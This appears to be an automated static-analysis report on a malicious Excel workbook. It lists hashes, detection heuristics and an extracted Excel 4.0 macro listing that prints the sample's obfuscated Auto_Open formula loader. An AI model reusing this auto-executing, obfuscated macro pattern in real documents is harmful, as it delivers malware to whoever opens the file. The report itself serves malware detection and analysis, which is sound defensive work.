Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe979907084c58c5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:11 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: f779c0a8d45b9328130b716f0929ff70 SHA-1: 2525454c16fab8c233a720797a2933aa04e4e2f5 SHA-256: fe979907084c58c5b42e7d24f9702bae9fbcd961bae1bc2c7accf50dfd91bc8c
200 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Embedded Adobe Flash (SWF) in OLE document critical OFFICE_EMBEDDED_SWF
    Document contains an embedded Adobe Flash (SWF) object. Vulnerabilities such as CVE-2018-4878 and CVE-2018-15982 involved Flash objects embedded in Office files. Adobe Flash has been end-of-life since December 2020.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6356 bytes
SHA-256: dff49ffd4aa4a058cfc447e8642deb68386213828f9cfbac007c273bf0eb371c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ilVE
' 0018     20 LABEL : Cell Value, String Constant - aaywH len=0 
' 0018     27 LABEL : Cell Value, String Constant - ausuFGmRteCL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G141 
' 0018     23 LABEL : Cell Value, String Constant - bSPpjXir len=0 
' 0018     22 LABEL : Cell Value, String Constant - dTvObuf len=0 
' 0018     22 LABEL : Cell Value, String Constant - GgdfSYn len=0 
' 0018     23 LABEL : Cell Value, String Constant - hfiRxNFb len=0 
' 0018     20 LABEL : Cell Value, String Constant - HYgar len=0 
' 0018     22 LABEL : Cell Value, String Constant - JhvyWeG len=0 
' 0018     22 LABEL : Cell Value, String Constant - jRSGjXm len=0 
' 0018     25 LABEL : Cell Value, String Constant - KoQzjUbFWS len=0 
' 0018     25 LABEL : Cell Value, String Constant - LHwFXogKmu len=0 
' 0018     21 LABEL : Cell Value, String Constant - MMlzyw len=0 
' 0018     27 LABEL : Cell Value, String Constant - RNioxMEFRDsQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - TsNbx len=0 
' 0018     23 LABEL : Cell Value, String Constant - UBPBGIoY len=0 
' 0018     24 LABEL : Cell Value, String Constant - vKSIlLAmk len=0 
' 0018     22 LABEL : Cell Value, String Constant - XyfeqAo len=0 
' 0018     20 LABEL : Cell Value, String Constant - YCSTL len=0 
' 0018     21 LABEL : Cell Value, String Constant - YeBtGi len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZNApEBqsHg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ilVE,G50,"SET.NAME("aaywH",VALUE("0"))",""
'  ilVE,G55,"SET.NAME("ZNApEBqsHg",aaywH)",""
'  ilVE,G58,"SET.NAME("dTvObuf",aaywH)",""
'  ilVE,G61,"SET.NAME("bSPpjXir",COUNTA(XyfeqAo))",""
'  ilVE,G66,"SET.NAME("GgdfSYn",COUNTA(KoQzjUbFWS))",""
'  ilVE,G69,[],""
'  ilVE,G72,"SET.NAME("HYgar","")",""
'  ilVE,G76,"ZNApEBqsHg",""
'  ilVE,G78,"SET.NAME("TsNbx",HLOOKUP("*",XyfeqAo,ZNApEBqsHg,FALSE))",""
'  ilVE,G83,"YeBtGi",""
'  ilVE,G87,"SET.NAME("LHwFXogKmu",aaywH)",""
'  ilVE,G91,[],""
'  ilVE,G93,"LHwFXogKmu",""
'  ilVE,G96,"YCSTL",""
'  ilVE,G101,"JhvyWeG",""
'  ilVE,G105,"hfiRxNFb",""
'  ilVE,G107,"SET.NAME("ausuFGmRteCL",VALUE(HLOOKUP("*",KoQzjUbFWS,hfiRxNFb,FALSE)))",""
'  ilVE,G110,"UBPBGIoY",""
'  ilVE,G112,"HYgar",""
'  ilVE,G115,"dTvObuf",""
'  ilVE,G119,NEXT(),""
'  ilVE,G122,"MMlzyw",""
'  ilVE,G126,"SET.NAME("f",INT(T(FORMULA(T(HYgar)&"",""&T(MMlzyw)))))",""
'  ilVE,G129,"vKSIlLAmk",""
'  ilVE,G132,NEXT(),""
'  ilVE,G137,RETURN(),""
'  ilVE,G164,"SET.NAME("RNioxMEFRDsQ",G50)",""
'  ilVE,G169,"XyfeqAo",""
'  ilVE,G173,"SET.NAME("KoQzjUbFWS",R78C13)",""
'  ilVE,G175,"SET.NAME("vKSIlLAmk",181)",""
'  ilVE,G178,"SET.NAME("jRSGjXm",7)",""
'  ilVE,G180,RNioxMEFRDsQ(),""
'  ilVE,G181,HALT(),""

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